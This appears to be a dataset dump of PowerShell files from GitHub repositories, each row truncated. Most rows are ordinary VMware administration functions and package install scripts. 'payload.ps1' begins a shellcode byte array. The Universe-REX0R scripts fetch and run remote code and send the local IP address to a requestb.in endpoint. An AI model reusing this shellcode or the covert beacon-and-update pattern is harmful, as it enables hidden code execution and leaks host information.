full_path stringlengths 31 232 | filename stringlengths 4 167 | content stringlengths 0 48.3M |
|---|---|---|
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_NumPorts_vss.ps1 | fun_NumPorts_vss.ps1 | <#
.SYNOPSIS
update NumPorts on vswitchs.
.DESCRIPTION
this will update the number of ports assigned for a vswitch
.NOTES
File Name : fun_NumPorts_vss.ps1
Author : gajendra d ambi
Date : December 2015
recommended : PowerShell v4+, powercli 6+ over win7 and uppe... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_create_dpg.ps1 | fun_create_dpg.ps1 | <#
.SYNOPSIS
create distributed portgroup.
.DESCRIPTION
This will create distributed portgroup for your DVS
.NOTES
File Name : fun_create_dpg.ps1
Author : gajendra d ambi
Date : January 2016
recommended : PowerShell v4+, powercli 6+ over win7 and upper.
Co... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_cluster_HaDrs.ps1 | fun_cluster_HaDrs.ps1 | <#
.SYNOPSIS
configure HA & DRS
.DESCRIPTION
This will configure HA & DRS on your cluster or cluster.
It will disable admission control on your cluster if the cluster has 3 or less than 3 hosts.
It will enable the DRS, set the automation level to fully automatic
.NOTES
File Name : fun_c... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_create_pg.ps1 | fun_create_pg.ps1 | <#
.SYNOPSIS
create portgroups on all vmware esxi hosts.
.DESCRIPTION
This will create vswitchs on all of your hosts of a vcenter
.NOTES
File Name : fun_create_pg.ps1
Author : gajendra d ambi
Date : January 2016
recommended : PowerShell v4+, powercli 6+ over wi... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_create_cluster.ps1 | fun_create_cluster.ps1 | <#
.SYNOPSIS
create a new cluster.
.DESCRIPTION
This will create a new cluster for the default datacenter. if there is more than one datacenter then it will ask you for which datacenter you want to create the cluster.
.NOTES
File Name : fun_create_cluster.ps1
Author : gajendra d ambi... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_scratch.ps1 | fun_scratch.ps1 | <#
.SYNOPSIS
Create & configure scratch location for esxi hosts.
.DESCRIPTION
This will create a scratch folder in the datastores with the name .locker-hostname and configure that as the sratch location.
This is designed to look for the keyword -localstorage at the end of the name of the datastore. you... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_ntp.ps1 | fun_ntp.ps1 | <#
.SYNOPSIS
set NTP.
.DESCRIPTION
Update ntp settings for esxi hosts
.NOTES
File Name : fun_ntp.ps1
Author : gajendra d ambi
Date : January 2016
recommended : PowerShell v4+, powercli 6+ over win7 and upper.
Copyright - None
.LINK
Script posted... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_PerfSet.ps1 | fun_PerfSet.ps1 | <#
.SYNOPSIS
Adjust performance settings on esxi hosts
.DESCRIPTION
This will change the performance settings on your esxi hosts. You get to choose from
High performance, Balanced and Lowpower. Based on your choise the power setting for the esxi host will be changed.
.NOTES
File Name : fun_P... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_EsxiPower.ps1 | fun_EsxiPower.ps1 | <#
.SYNOPSIS
Gracefully reboot or poweroff the vmware hosts.
.DESCRIPTION
This will offer you 3 options, reboot the hosts in maintenance mode, shutdown the hosts in maintenance mode
or just exi or disconnect from the vcenter server. This search for the hosts in maintenance mode and
performs the s... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_coredump.ps1 | fun_coredump.ps1 | <#
.SYNOPSIS
configure Coredump on esxi hosts
.DESCRIPTION
This will check the version of the esxi and based on the version of it, it will set the coredump settings on the host
.NOTES
File Name : fun_coredump.ps1
Author : gajendra d ambi
Date : January 2016
recomm... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_remove_pg_2.ps1 | fun_remove_pg_2.ps1 | <#
.SYNOPSIS
This will remove the portgroup
.DESCRIPTION
This should delete both types of portgroups, the VM portgroup and the vmkernel portgroup.
.NOTES
File Name : fun_remove_pg.ps1
Author : gajendra d ambi
Date : Feb 2016
Prerequisites : PowerShell V4, powercl... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_nicteaming_pg.ps1 | fun_nicteaming_pg.ps1 | <#
.SYNOPSIS
update nicteaming on portgroup.
.DESCRIPTION
this will update the NIC assigned for a portgroup
.NOTES
File Name : fun_nicteaming_pg.ps1
Author : gajendra d ambi
Date : January 2016
recommended : PowerShell v4+, powercli 6+ over win7 and upper.
... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_snmp.ps1 | fun_snmp.ps1 | <#
.SYNOPSIS
set snmp.
.DESCRIPTION
Update snmp settings for esxi hosts
.NOTES
File Name : fun_snmp.ps1
Author : gajendra d ambi
Date : December 2015
recommended : PowerShell v4+, powercli 6+ over win7 and upper.
Copyright - None
.LINK
Script po... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_remove_pg.ps1 | fun_remove_pg.ps1 | <#
.SYNOPSIS
This will remove the portgroup
.DESCRIPTION
This should delete both types of portgroups, the VM portgroup and the vmkernel portgroup.
.NOTES
File Name : fun_remove_pg.ps1
Author : gajendra d ambi
Date : December 2015
Prerequisites : PowerShell V4, po... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_services.ps1 | fun_services.ps1 | <#
.SYNOPSIS
Enable or disable services on a vmkernel/vmportgroup.
.DESCRIPTION
This will create distributed portgroup for your DVS
.NOTES
File Name : fun_services.ps1
Author : gajendra d ambi
Date : february 2016
recommended : PowerShell v4+, powercli 6+ over ... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_cluster_addhosts.ps1 | fun_cluster_addhosts.ps1 | <#
.SYNOPSIS
add hosts to cluster.
.DESCRIPTION
This will create distributed portgroup for your DVS
.NOTES
File Name : fun_cluster_addhosts.ps1
Author : gajendra d ambi
Date : January 2016
recommended : PowerShell v4+, powercli 6+ over win7 and upper.
Copy... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_loadbalance_vss.ps1 | fun_loadbalance_vss.ps1 | <#
.SYNOPSIS
update nicteamingpolicy on vswitchs.
.DESCRIPTION
this will update the number of ports assigned for a vswitch
LoadBalanceIP - Route based on IP hash. Choose an uplink based on a hash of the source and destination IP addresses of each packet. For non-IP packets, whatever is at those offsets... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_pnic_vss.ps1 | fun_pnic_vss.ps1 | <#
.SYNOPSIS
update NIC on vswitchs.
.DESCRIPTION
this will update the NIC assigned for a vswitch
.NOTES
File Name : fun_pnic_vss.ps1
Author : gajendra d ambi
Date : December 2015
recommended : PowerShell v4+, powercli 6+ over win7 and upper.
Copyright ... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_mtu_vss.ps1 | fun_mtu_vss.ps1 | <#
.SYNOPSIS
update MTU on vswitchs.
.DESCRIPTION
this will update the MTU assigned for a vswitch
.NOTES
File Name : fun_mtu_vss.ps1
Author : gajendra d ambi
Date : December 2015
recommended : PowerShell v4+, powercli 6+ over win7 and upper.
Copyright ... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_dns.ps1 | fun_dns.ps1 | <#
.SYNOPSIS
set DNS.
.DESCRIPTION
Update DNS settings for esxi hosts
.NOTES
File Name : fun_dns.ps1
Author : gajendra d ambi
Date : January 2016
recommended : PowerShell v4+, powercli 6+ over win7 and upper.
Copyright - None
.LINK
Script posted... |
PowerShellCorpus/Github/MrAmbiG_vmware/functions/fun_update_pg.ps1 | fun_update_pg.ps1 | <#
.SYNOPSIS
update Nic on vswitchs.
.DESCRIPTION
this will update the Nics assigned for a vswitch
.NOTES
File Name : fun_update_pg.ps1
Author : gajendra d ambi
Date : January 2016
recommended : PowerShell v4+, powercli 6+ over win7 and upper.
Copyright ... |
PowerShellCorpus/Github/GHMicoos_SimpleBlogWeb/SimpleBlogWeb/packages/Microsoft.AspNet.Providers.LocalDB.1.1/tools/Install.ps1 | Install.ps1 | param($installPath, $toolsPath, $package, $project)
try {
# Set up variables
$timestamp = (Get-Date).ToString('yyyyMMddHHmmss')
$projectName = [IO.Path]::GetFileName($project.ProjectName.Trim([IO.PATH]::DirectorySeparatorChar, [IO.PATH]::AltDirectorySeparatorChar))
$catalogName = "aspnet-$project... |
PowerShellCorpus/Github/GHMicoos_SimpleBlogWeb/SimpleBlogWeb/packages/Modernizr.2.6.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Update the _references.js file
Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx |
PowerShellCorpus/Github/GHMicoos_SimpleBlogWeb/SimpleBlogWeb/packages/Modernizr.2.6.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
# No Scripts folder
Write-Host "No Scripts folder found"
exit
}
# Update the _references.js file
AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName... |
PowerShellCorpus/Github/GHMicoos_SimpleBlogWeb/SimpleBlogWeb/packages/Modernizr.2.6.2/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
$referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js")
}
catch {
# _references.js file not found
return
}
if ($referencesFileProject... |
PowerShellCorpus/Github/GHMicoos_SimpleBlogWeb/SimpleBlogWeb/packages/EntityFramework.5.0.0/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
$importedModule = Get-Module | ?{ $_.Name -eq 'EntityFramework' }
if ($PSVersionTable.PSVersion -ge (New-Object Version @( 3, 0 )))
{
$thisModuleManifest = 'EntityFramework.PS3.psd1'
}
else
{
$thisModuleManifest = 'EntityFramework.psd1'
}
$thisModule... |
PowerShellCorpus/Github/GHMicoos_SimpleBlogWeb/SimpleBlogWeb/packages/EntityFramework.5.0.0/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
function Invoke-ConnectionFactoryConfigurator($assemblyPath, $project)
{
$appDomain = [AppDomain]::CreateDomain(
'EntityFramework.PowerShell',
$null,
(New-Object System.AppDomainSetup -Property @{ ShadowCopyFiles = 'true' }))
... |
PowerShellCorpus/Github/GHMicoos_SimpleBlogWeb/SimpleBlogWeb/packages/jQuery.UI.Combined.1.8.24/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Update the _references.js file
Remove-Reference $scriptsFolderProjectItem $juiFileNameRegEx |
PowerShellCorpus/Github/GHMicoos_SimpleBlogWeb/SimpleBlogWeb/packages/jQuery.UI.Combined.1.8.24/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
if ($scriptsFolderProjectItem -eq $null) {
# No Scripts folder
Write-Host "No Scripts folder found"
exit
}
# Update the _references.js file
AddOrUpdate-Reference $scriptsFolderProjectItem $juiFileNameRegEx ... |
PowerShellCorpus/Github/GHMicoos_SimpleBlogWeb/SimpleBlogWeb/packages/jQuery.UI.Combined.1.8.24/Tools/common.ps1 | common.ps1 | function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) {
try {
$referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js")
}
catch {
# _references.js file not found
return
}
if ($referencesFileProject... |
PowerShellCorpus/Github/GHMicoos_SimpleBlogWeb/SimpleBlogWeb/packages/jQuery.1.8.2/Tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# Determine the file paths
$projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName
$origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName
if (Test-Path $projectIntelliSense... |
PowerShellCorpus/Github/GHMicoos_SimpleBlogWeb/SimpleBlogWeb/packages/jQuery.1.8.2/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
. (Join-Path $toolsPath common.ps1)
# VS 11 and above supports the new intellisense JS files
$vsVersion = [System.Version]::Parse($dte.Version)
$supportsJsIntelliSenseFile = $vsVersion.Major -ge 11
if (-not $supportsJsIntelliSenseFile) {
$displayVersio... |
PowerShellCorpus/Github/GHMicoos_SimpleBlogWeb/SimpleBlogWeb/packages/jQuery.1.8.2/Tools/common.ps1 | common.ps1 | function Get-Checksum($file) {
$cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider"
$fileInfo = Get-Item $file
trap { ;
continue } $stream = $fileInfo.OpenRead()
if ($? -eq $false) {
# Couldn't open file for reading
return $null
}
$bytes = $... |
PowerShellCorpus/Github/Ewpratten_Universe-REX0R/update.ps1 | update.ps1 | # add startup commands here
# add files here
mv ping.ps1 \sylo\old
wget https://raw.githubusercontent.com/Ewpratten/Universe-REX0R/master/run.ps1
#for dev only
mv reinstall.ps1 \sylo\old
wget https://raw.githubusercontent.com/Ewpratten/Universe-REX0R/master/reinstall.ps1
run.bat
|
PowerShellCorpus/Github/Ewpratten_Universe-REX0R/run.ps1 | run.ps1 | mv update1.ps1 \sylo\old
wget https://raw.githubusercontent.com/Ewpratten/Universe-REX0R/master/update.ps1
ping http://rtlmusic.cf
$localIpAddress=((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
$postParams = @{FOO='BAR'}
Invoke-WebRequest -Uri http://requestb.in/1bjl3hf1 -Method POST -Body $postParams $localIpAd... |
PowerShellCorpus/Github/Ewpratten_Universe-REX0R/install.ps1 | install.ps1 | cd /
md sylo
cd sylo
md old
md Bandit
cd Bandit
#finish folder setup
wget https://raw.githubusercontent.com/Ewpratten/Universe-REX0R/master/update.ps1
start-job -filepath {c:\sylo\Bandit\update.ps1} |
PowerShellCorpus/Github/ABracken_25-PropertyManagerAPI/PropertyManger/packages/EntityFramework.6.1.3/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
if (Get-Module | ?{ $_.Name -eq 'EntityFramework' })
{
Remove-Module EntityFramework
}
Import-Module (Join-Path $toolsPath EntityFramework.psd1)
# SIG # Begin signature block
# MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB
# gjcCAQ... |
PowerShellCorpus/Github/ABracken_25-PropertyManagerAPI/PropertyManger/packages/EntityFramework.6.1.3/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
Initialize-EFConfiguration $project
Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer'
Write-Host
Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma... |
PowerShellCorpus/Github/ABracken_25-PropertyManagerAPI/PropertyManger/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
$compilerPackageName = 'Microsoft.Net.Compilers'
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$libDirectory = Join-Path $installPath 'lib\net45'
$packageDirectory = Split-Path $installPath
$compilerPackage = Get-Chil... |
PowerShellCorpus/Github/ABracken_25-PropertyManagerAPI/PropertyManger/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$projectRoot = $project.Properties.Item('FullPath').Value
$binDirectory = Join-Path $projectRoot 'bin'
$targetDirectory = Join-Path $binDirectory $roslynSubFolder
if (Te... |
PowerShellCorpus/Github/ABracken_25-PropertyManagerAPI/PropertyManger/packages/Newtonsoft.Json.6.0.4/tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
# open json.net splash page on package install
# don't open if json.net is installed as a dependency
try
{
$url = "http://james.newtonking.com/json"
$dte2 = Get-Interface $dte ([EnvDTE80.DTE2])
if ($dte2.ActiveWindow.Caption -eq "Package Manager Con... |
PowerShellCorpus/Github/ozguraltay_SimpleBlog/Simple Blog/packages/Microsoft.ApplicationInsights.WindowsServer.2.2.0/Tools/install.ps1 | install.ps1 | param($installPath, $toolsPath, $package, $project)
if ([System.IO.File]::Exists($project.FullName))
{
function MarkItemASCopyToOutput($item)
{
Try
{
#mark it to copy if newer
$item.Properties.Item("CopyToOutputDirectory").Value = 2
}
Catch
{
write-host $_.Exception.ToString()
}... |
PowerShellCorpus/Github/ozguraltay_SimpleBlog/Simple Blog/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/init.ps1 | init.ps1 | param($installPath, $toolsPath, $package, $project)
$compilerPackageName = 'Microsoft.Net.Compilers'
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$libDirectory = Join-Path $installPath 'lib\net45'
$packageDirectory = Split-Path $installPath
$compilerPackage = Get-Chil... |
PowerShellCorpus/Github/ozguraltay_SimpleBlog/Simple Blog/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/uninstall.ps1 | uninstall.ps1 | param($installPath, $toolsPath, $package, $project)
$roslynSubFolder = 'roslyn'
if ($project -eq $null) {
$project = Get-Project
}
$projectRoot = $project.Properties.Item('FullPath').Value
$binDirectory = Join-Path $projectRoot 'bin'
$targetDirectory = Join-Path $binDirectory $roslynSubFolder
if (Te... |
PowerShellCorpus/Github/Na33m_Powershell/adjoin1.ps1 | adjoin1.ps1 | <#
.NOTES
===========================================================================
Created with: SAPIEN Technologies, Inc., PowerShell Studio 2014 v4.1.74
Created on: 08/12/2014 11:20
Created by: Naeem
Organization: Home
Filename:
==================================================... |
PowerShellCorpus/Github/kinomakino_ransomware_file_extensions/anti_ransomware.ps1 | anti_ransomware.ps1 | ## Autor: Jmolina Kinomakino
## blog http://kinomakino.blogspot.com.es/
## @kinomakino
## Con este script usamos una lista de extensiones conocidas empleadas por ransomware en un servidor FSRM sobre Windows
## para apagar el servidor y enviar un e-mail.
## Ejecuta el script con el parámetro de la carpeta que quie... |
PowerShellCorpus/Github/markusbo_DMSRunbooks/SyncedRunbooks/Test-Runbook.ps1 | Test-Runbook.ps1 | workflow Test-Runbook
{
#Test Source Control
#Test Source Control 2
} |
PowerShellCorpus/Github/openpublishtest_Perf-Test1/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstoragesandbox2.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
# Main
$errorActionPreference = 'Stop'
# Step-1 Download buildcore script to local
echo "download build core script to local with source ur... |
PowerShellCorpus/Github/OPS-E2E-PPE_E2E_D_Provision_2017_4_22_26_58_24/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstorageprod.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
# Main
$errorActionPreference = 'Stop'
# Step-1: Download buildcore script to local
echo "download build core script to local with source url: ... |
PowerShellCorpus/Github/lumakirby_lumakirby/payload.ps1 | payload.ps1 | [Byte[]] $buf = 0xbd,0xa0,0x3d,0x3e,0xf3,0xda,0xd6,0xd9,0x74,0x24
$buf += 0xf4,0x5e,0x29,0xc9,0xb1,0x54,0x31,0x6e,0x13,0x3
$buf += 0x6e,0x13,0x83,0xee,0x5c,0xdf,0xcb,0xf,0x74,0xa2
$buf += 0x34,0xf0,0x84,0xc3,0xbd,0x15,0xb5,0xc3,0xda,0x5e
$buf += 0xe5,0xf3,0xa9,0x33,0x9,0x7f,0xff,0xa7,0x9a,0xd
$buf += 0x28,0xc7,0x2... |
PowerShellCorpus/Github/IvanJosipovic_Misc/Scripts/CU Fixes/Fix-SP2013Aug2015Regression.ps1 | Fix-SP2013Aug2015Regression.ps1 | #-----------------------------------------------------------------------------
# Name: Fix-SP2013Aug2015Regression.ps1
# Description: This script will fix the August 2015 CU Regression
# Usage: Run the script
# By: Ivan Josipovic, Softlanding.ca
#-----------------------------... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/eclipse/tools/chocolateyInstall.ps1 | chocolateyInstall.ps1 | $packageName = '{{PackageName}}'
$packageVersion = '{{PackageVersion}}'
$32BitUrl = '{{DownloadUrl}}'
$64BitUrl = '{{DownloadUrlx64}}'
$global:installLocation = "C:\Program Files\Eclipse Foundation\$packageVersion"
$checksum = '{{Checksum}}'
$checksumType = 'md5'
$checksum64 = '{{Checksumx64}}'
$checksumType64 ... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/eclipse/tools/chocolateyUninstall.ps1 | chocolateyUninstall.ps1 | $packageName = '{{PackageName}}'
if(!$PSScriptRoot){ $PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent }
. "$PSScriptRoot\Uninstall-ZipPackage.ps1"
. "$PSScriptRoot\Uninstall-DesktopLinkAndPinnedTaskBarItem.ps1"
Uninstall-ZipPackage "$packageName"
Uninstall-DesktopLinkAndPinnedTaskBarItem "$pac... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/tomcat/tools/chocolateyInstall.ps1 | chocolateyInstall.ps1 | $packageName = '{{PackageName}}'
$32BitUrl = '{{DownloadUrl}}'
$64BitUrl = '{{DownloadUrlx64}}'
$global:installLocation = Get-BinRoot
$checksum = '{{Checksum}}'
$checksumType = 'md5'
$checksum64 = '{{Checksumx64}}'
$checksumType64 = 'md5'
$availablePort = '8080'
$majorVersion = "{{PackageVersion}}"[0]
$servic... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/tomcat/tools/chocolateyUninstall.ps1 | chocolateyUninstall.ps1 | $packageName = '{{PackageName}}'
$majorVersion = "{{PackageVersion}}"[0]
if(!$PSScriptRoot){ $PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent }
. "$PSScriptRoot\Install-Service.ps1"
. "$PSScriptRoot\Uninstall-ZipPackage.ps1"
Uninstall-Service "$packageName${majorVersion}"
Uninstall-ZipPackage... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/apacheds/tools/chocolateyInstall.ps1 | chocolateyInstall.ps1 | $packageName = '{{PackageName}}'
$Url = '{{DownloadUrl}}'
$global:installLocation = Get-BinRoot
$checksum = '{{Checksum}}'
$checksumType = 'md5'
if(!$PSScriptRoot){ $PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent }
. "$PSScriptRoot\OverwriteParameters.ps1"
. "$PSScriptRoot\Install-Service.ps1"
... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/apacheds/tools/chocolateyUninstall.ps1 | chocolateyUninstall.ps1 | $packageName = '{{PackageName}}'
if(!$PSScriptRoot){ $PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent }
. "$PSScriptRoot\Install-ChocolateyService030.ps1"
. "$PSScriptRoot\Uninstall-ChocolateyZipPackage030.ps1"
Uninstall-ChocolateyService030 "$packageName"
Uninstall-ChocolateyZipPackage030 "$p... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/common/Uninstall-DesktopLinkAndPinnedTaskBarItem.Tests.ps1 | Uninstall-DesktopLinkAndPinnedTaskBarItem.Tests.ps1 | $here = Split-Path -Parent $MyInvocation.MyCommand.Path
$sut = (Split-Path -Leaf $MyInvocation.MyCommand.Path).Replace(".Tests.", ".")
. "$here\$sut"
$TargetFileName = "notepad"
$TargetFile = "$env:SystemRoot\System32\${TargetFileName}.exe"
. $env:ChocolateyInstall\helpers\functions\Install-ChocolateyDesktopLi... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/common/Install-Service.ps1 | Install-Service.ps1 | function Install-Service {
<#
.SYNOPSIS
Installs a service
.DESCRIPTION
This will install a service
.PARAMETER PackageName
The name of the package for whom the service will be installed.
.PARAMETER ServiceName
The name of service which will be used to install and start... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/common/OverwriteParameters.ps1 | OverwriteParameters.ps1 | function OverwriteParameters {
$arguments = @{};
$packageParameters = $env:chocolateyPackageParameters;
if($packageParameters) {
Write-Host "PackageParameters: $packageParameters"
$MATCH_PATTERN = "/([a-zA-Z]+)=(.*)"
$PARAMATER_NAME_INDEX = 1
$VALUE_INDEX = 2
if($packageParameters -match $MAT... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/common/Uninstall-DesktopLinkAndPinnedTaskBarItem.ps1 | Uninstall-DesktopLinkAndPinnedTaskBarItem.ps1 | function Uninstall-DesktopLinkAndPinnedTaskBarItem {
param(
[string] $packageName
)
$desktopLink="${env:USERPROFILE}\Desktop\${packageName}.exe.lnk"
$pinnedLink="${env:USERPROFILE}\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\${packageName}.lnk"
if(!$packageName) {
thr... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/common/Uninstall-ZipPackage.ps1 | Uninstall-ZipPackage.ps1 | function Uninstall-ZipPackage {
param(
[string] $packageName
)
if(!$packageName) {
Write-ChocolateyFailure "Uninstall-ZipPackage" "Missing PackageName input parameter."
return
}
ChildItem "$env:ChocolateyInstall\lib\${packageName}" -Recurse -Filter "${packageName}Install.zip.txt" |
ForEach-Object... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/wildfly/tools/chocolateyInstall.ps1 | chocolateyInstall.ps1 | $packageName = '{{PackageName}}'
$Url = '{{DownloadUrl}}'
$global:installLocation = Get-BinRoot
$availablePort = '8080'
$serviceName = '{{PackageName}}'
if(!$PSScriptRoot){ $PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent }
. "$PSScriptRoot\OverwriteParameters.ps1"
. "$PSScriptRoot\Install-Servi... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/wildfly/tools/chocolateyUninstall.ps1 | chocolateyUninstall.ps1 | $packageName = '{{PackageName}}'
if(!$PSScriptRoot){ $PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent }
. "$PSScriptRoot\Install-Service.ps1"
. "$PSScriptRoot\Uninstall-ZipPackage.ps1"
Uninstall-Service "$packageName"
Uninstall-ZipPackage "$packageName" |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/_output/eclipse/4.4.1/tools/chocolateyInstall.ps1 | chocolateyInstall.ps1 | $packageName = 'eclipse'
$packageVersion = '4.4.1'
$32BitUrl = 'http://eclipse.mirror.triple-it.nl/technology/epp/downloads/release/luna/SR1a/eclipse-jee-luna-SR1a-win32.zip'
$64BitUrl = 'http://eclipse.mirror.triple-it.nl/technology/epp/downloads/release/luna/SR1a/eclipse-jee-luna-SR1a-win32-x86_64.zip'
$global:in... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/_output/eclipse/4.4.1/tools/chocolateyUninstall.ps1 | chocolateyUninstall.ps1 | $packageName = 'eclipse'
if(!$PSScriptRoot){ $PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent }
. "$PSScriptRoot\Uninstall-ChocolateyZipPackage030.ps1"
Uninstall-ChocolateyZipPackage030 "$packageName" |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/_output/apacheds/2.0.0.19/tools/chocolateyInstall.ps1 | chocolateyInstall.ps1 | $packageName = 'apacheds'
$Url = 'http://apache.hippo.nl/directory/apacheds/dist//2.0.0-M19/apacheds-2.0.0-M19.zip'
$global:installLocation = "C:\ApacheDS"
$checksum = '03c5015bb9a59b9b2e560db7e331d794'
$checksumType = 'md5'
if(!$PSScriptRoot){ $PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent }
.... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/_output/apacheds/2.0.0.19/tools/chocolateyUninstall.ps1 | chocolateyUninstall.ps1 | $packageName = 'apacheds'
if(!$PSScriptRoot){ $PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent }
. "$PSScriptRoot\Install-ChocolateyService030.ps1"
. "$PSScriptRoot\Uninstall-ChocolateyZipPackage030.ps1"
Uninstall-ChocolateyService030 "$packageName"
Uninstall-ChocolateyZipPackage030 "$packageN... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/_output/tomcat8/8.0.15/tools/chocolateyInstall.ps1 | chocolateyInstall.ps1 | $packageName = 'tomcat8'
$32BitUrl = 'http://apache.hippo.nl/tomcat/tomcat-8/v8.0.15/bin/apache-tomcat-8.0.15-windows-x86.zip'
$64BitUrl = 'http://apache.hippo.nl/tomcat/tomcat-8/v8.0.15/bin/apache-tomcat-8.0.15-windows-x64.zip'
$global:installLocation = "C:\ApacheSoftwareFoundation"
$checksum = 'a063c57d6b3913a46d... |
PowerShellCorpus/Github/redfish4ktc_chocolateyautomatic/_output/tomcat8/8.0.15/tools/chocolateyUninstall.ps1 | chocolateyUninstall.ps1 | $packageName = 'tomcat8'
if(!$PSScriptRoot){ $PSScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent }
. "$PSScriptRoot\Install-ChocolateyService030.ps1"
. "$PSScriptRoot\Uninstall-ChocolateyZipPackage030.ps1"
Uninstall-ChocolateyService030 "$packageName"
Uninstall-ChocolateyZipPackage030 "$packageNa... |
PowerShellCorpus/Github/OpenLocalizationOrg_PowerShell-Docs_ja-JP/.openpublishing.build.ps1 | .openpublishing.build.ps1 | param(
[string]$buildCorePowershellUrl = "https://opbuildstoragesandbox2.blob.core.windows.net/opps1container/.openpublishing.buildcore.ps1",
[string]$parameters
)
# Main
$errorActionPreference = 'Stop'
# Step-1 Download buildcore script to local
echo "download build core script to local with source ur... |
